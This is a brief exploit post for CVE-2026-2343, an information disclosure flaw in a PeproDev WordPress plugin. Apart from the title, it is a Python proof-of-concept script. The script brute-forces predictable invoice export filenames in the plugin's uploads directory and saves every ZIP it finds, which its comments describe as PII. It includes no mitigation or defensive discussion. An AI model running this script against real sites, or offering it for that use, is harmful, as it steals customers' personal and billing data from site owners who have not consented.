CVE-2026-2343 PeproDev插件信息泄露漏洞

import requests # Configuration target_domain = "http://example.com" base_url = f"{target_domain}/wp-content/uploads/peprodev-invoices/export_" extension = ".zip" # Function to brute force predictable filenames def brute_force_invoices(start_id, end_id): for i in range(start_id, end_id): # Construct predictable filename based on pattern filename = f"{base_url}{i}{extension}" try: response = requests.get(filename, timeout=3) if response.status_code == 200: print(f"[+] Success! Found file: {filename}") # Save the downloaded PII data with open(f"invoice_dump_{i}.zip", "wb") as f: f.write(response.content) return True except requests.RequestException: continue return False # Execute brute force brute_force_invoices(1000, 5000)